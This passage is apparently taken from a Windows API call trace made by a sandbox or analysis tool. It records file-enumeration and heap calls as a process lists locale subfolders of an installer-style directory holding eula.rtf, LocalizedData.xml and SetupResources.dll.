	[0041.477] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.477] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.477] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.477] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.477] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.477] FindClose (in: hFindFile=0x742df0 | out: hFindFile=0x742df0) returned 1
	[0041.512] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.512] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0041.512] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.512] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742df0
	[0041.513] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.513] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.513] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.513] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.513] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.513] FindClose (in: hFindFile=0x742df0 | out: hFindFile=0x742df0) returned 1
	[0041.513] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.513] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0041.513] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.513] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742bf0
	[0041.517] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.517] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.517] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.517] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.517] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.517] FindClose (in: hFindFile=0x742bf0 | out: hFindFile=0x742bf0) returned 1
	[0041.518] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.518] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0041.518] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.518] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742fb0
	[0041.519] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.519] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.519] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.519] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.519] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.519] FindClose (in: hFindFile=0x742fb0 | out: hFindFile=0x742fb0) returned 1
	[0041.520] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.520] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0041.520] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.520] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742e30
	[0041.520] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.520] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.520] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.520] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.521] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.521] FindClose (in: hFindFile=0x742e30 | out: hFindFile=0x742e30) returned 1
	[0041.521] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.521] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0041.521] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.521] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742b70
	[0041.521] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.521] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.521] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.521] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.521] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.521] FindClose (in: hFindFile=0x742b70 | out: hFindFile=0x742b70) returned 1
	[0041.522] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.522] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0041.522] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.522] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7432b0
	[0041.522] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
